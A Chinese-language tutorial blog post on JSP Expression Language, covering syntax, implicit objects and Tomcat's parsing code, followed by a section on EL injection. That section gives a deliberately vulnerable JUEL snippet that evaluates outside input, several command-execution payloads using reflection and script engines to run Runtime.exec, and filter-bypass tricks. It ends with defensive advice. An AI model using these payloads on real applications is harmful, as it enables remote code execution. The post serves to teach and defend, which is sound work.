概述

Expression Language,EL表达式是JSP的内置表达式语言。是为了使JSP写起来更简单。表达式语言的灵感来自于ECMAScript和XPath表达式语言,它提供了在JSP中简化表达式的方法,让JSP的代码更加简化。

EL表达式的主要功能:

  • 获取数据:EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据
  • 执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系、逻辑、算术运算
  • 获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而获得这些对象中的数据
  • 调用Java方法:EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法

基本语法

格式:

1
${expr}

expr指的是表达式,当表达式的变量不给定范围时,则默认在page范围查找,然后依次在request、session、application范围查找。也可以用范围作为前缀表示属于哪个范围的变量。如${pageScope.userinfo}表示访问page范围中的userinfo变量。

EL表达式的属性范围:

  • Page:PageScope
  • Request:RequestScope
  • Session:SessionScope
  • Application:ApplicationScope

基础操作符

EL表达式支持大部分Java所提供的算术和逻辑操作符:

操作符 描述
. 访问一个Bean属性或者一个映射条目
[] 访问一个数组或者链表的元素
( ) 组织一个子表达式以改变优先级
+
- 减或负
*
/ or div
% or mod 取模
== or eq 测试是否相等
!= or ne 测试是否不等
< or lt 测试是否小于
> or gt 测试是否大于
<= or le 测试是否小于等于
>= or ge 测试是否大于等于
&& or and 测试逻辑与
|| or or 测试逻辑或
! or not 测试取反
empty 测试是否空值

其中比较重要的是:

  • .:访问一个Bean属性或者一个映射条目
  • []:访问一个数组或者链表元素。当要存取的属性名称中包含一些特殊字符,就一定要用[],例如:${user.My-Name}应当改为${user["My-Name"]}。如需动态取值,同样需要用[]

函数

EL表达式支持使用函数。这些函数必须被定义在自定义标签库中,语法:

1
${ns:func(param1, param2, ...)}

ns指命名空间,func指函数名称,param指参数

用EL表达式调用函数必须使用taglib引入你的标签库

隐式对象

  • pageContext:JSP页上下文,可以用于访问JSP隐式对象,如请求、响应、会话、输出、servletContext等。例如,${pageContext.response}为页面的响应对象赋值。
  • param:将请求参数名称映射到单个字符串参数数值,返回的是单一字符串(通过调用ServletRequest.getParameter(String name)获得),表达式${param.name}或者${param["name"]相当于request.getParameter(name)
  • paramValues:将请求参数名称映射到一个数值数组,返回一个字符串数组(通过调用ServletRequest.getParameter(String name)获得),表达式{$paramvalues.name}相当于request.geParamterValues(name)
  • header:将请求头名称映射到单个字符串头值(通过调用ServletRequest.getHeader(String name)获得),表达式${header.name}相当于request.getHeader(name)
  • headerValues:将请求头名称映射到一个数值数组(通过调用ServletRequest.getHeaders(String)获得),表达式${headerValues.name}相当于request.getHeaderValues(name)
  • cookie:将cookie名称映射到单个cookie对象。向服务器发出的客户端请求可以获得一个或多个cookie。表达式${cookie.name.value}返回带有特定名称的第一个coookie值。如果请求包含多个同名的cookie,则应该使用${headerValues.name}表达式。
  • initParam:将上下文初始化参数名称映射到单个值(通过调用ServletContext.getInitparameter(String name)获得)。

pageContext对象

pageContext对象是JSP中pageContext对象的引用。通过pageContext对象,您可以访问request对象,比如访问request对象传入的查询字符串:

1
${pageContext.request.queryString}

image-20251012183512461

Scope对象

pageScope,requestScope,sessionScope,applicationScope变量用来访问存储在各个作用域层次的变量。

举例来说,如果您需要显式访问在applicationScope层的box变量,可以这样来访问:applicationScope.box。

param和paramValues对象

param和paramValues对象用来访问参数值,通过使用request.getParameter方法和request.getParameterValues方法。

举例来说,访问一个名为order的参数,可以这样使用表达式:${param.order},或者${param[“order”]}。

demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<%@ page import="java.io.*,java.util.*" %>
<%
String title = "Accessing Request Param";
%>
<html>
<head>
<title><% out.print(title); %></title>
</head>
<body>
<center>
<h1><% out.print(title); %></h1>
</center>
<div align="center">
<p>${param["username"]}</p>
<p>${paramValues["username"]}</p>
</div>
</body>
</html>

image-20251012184020402

param对象返回单一的字符串,而paramValues对象则返回一个字符串数组。

header和headerValues对象

header和headerValues对象用来访问信息头,通过使用 request.getHeader方法和request.getHeaders方法。

举例来说,要访问一个名为user-agent的信息头,可以这样使用表达式:${header.user-agent},或者${header[“user-agent”]}。

demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<%@ page import="java.io.*,java.util.*" %>
<%
String title = "User Agent Example";
%>
<html>
<head>
<title><% out.print(title); %></title>
</head>
<body>
<center>
<h1><% out.print(title); %></h1>
</center>
<div align="center">
<p>${header["user-agent"]}</p>
</div>
</body>
</html>

image-20251012184157816

header对象返回单一值,而headerValues则返回一个字符串数组。

JSP中启动/禁用EL表达式

其中,JSP2.0中默认启用EL表达式

全局禁用EL表达式:

1
2
3
4
5
6
<jsp-config>
<jsp-property-group>
<url-pattern>*.jsp</url-pattern>
<el-ignored>true</el-ignored>
</jsp-property-group>
</jsp-config>

单个文件禁用EL表达式:

1
<%@ page isELIgnored="true" %>

源码分析

这里我们分析下EL表达式是如何解析的呢?

index.jsp:

1
${applicationScope}

运行后在D:\java8\apache-tomcat-9.0.109\work\Catalina\localhost\ROOT\org\apache\jsp找到生成的java文件:

1
(java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${applicationScope}", java.lang.String.class, (javax.servlet.jsp.PageContext)_jspx_page_context, null)

在Java中则通过org.apache.jasper.runtime.PageContextImpl#proprietaryEvaluate方法来处理EL表达式

exp:

1
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\"calc\")")}

org.apache.jasper.runtime.PageContextImpl#proprietaryEvaluate方法内会通过ExpressionFactoryImpl#createValueExpression返回ValueExpression对象,它根据EL表达式的.(),进行分隔

image-20251012190717204

随后调用AsValue#getValue方法循环反射,最后javax.el.BeanELResolver#invoke方法反射执行我们的方法

EL表达式注入

原理

EL表达式注入漏洞和SpEL、OGNL等表达式注入漏洞是一样的漏洞原理,即表达式外部可控导致攻击者注入恶意表达式实现任意代码执行。

一般的,EL表达式注入漏洞的外部可控点入口都是在Java程序代码中,即Java程序中的EL表达式内容全部或部分从外部获取的

JUEL

JUEL是统一表达式语言EL(Unified Expression Language)的实现,是JSP 2.1标准(JSR-245)的一部分,已在JEE5
中引入。它具有高性能,插件式缓存,小体积,支持方法调用和多参数调用,可插拔多种特性。

相关依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-spi</artifactId>
<version>2.2.7</version>
</dependency>

<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-api</artifactId>
<version>2.2.7</version>
</dependency>

<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-impl</artifactId>
<version>2.2.7</version>
</dependency>

注入漏洞代码:

1
2
3
4
ExpressionFactory factory = new ExpressionFactoryImpl();  //创建表达式工厂
SimpleContext context = new SimpleContext(); //创建EL上下文
ValueExpression e = factory.createValueExpression(context,str, String.class); //创建值表达式
return e.getValue(context).toString(); //执行并返回结果

其中str为我们的恶意EL表达式,这串代码意思是将字符串当作代码来执行

常见poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}

//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件头参数
${header}

//获取webRoot
${applicationScope}

//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

绕过方法

利用ScriptEngine调用JS引擎绕过

1
2
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByMimeType("text/javascript").eval("java.lang.Runtime.getRuntime().exec('calc')")}
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("java.lang.Runtime.getRuntime().exec('calc')")}

利用反射绕过

1
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc")}

charAt/toChars获取字符

1
${true.toString().charAt(0).toChars(99)[0].toString()}//c

true.toString().charAt(0)返回字符t,ASCII码116

.toChars(99)[0]将Unicode码点99转换为字符,而ASCII码为99的是字符c,所以这里得到的值与前面t无关,这只是 Character 类上的静态调用,由于返回的是数组,所以要加上[0]

这可以当作构造特殊字符的绕过

漏洞防御

  • 尽量不使用外部输入的内容作为EL表达式内容;

  • 若使用,则严格过滤EL表达式注入漏洞的payload关键字;

  • 如果是排查Java程序中JUEL相关代码,则搜索如下关键类方法:

    1
    2
    javax.el.ExpressionFactory.createValueExpression()
    javax.el.ValueExpression.getValue()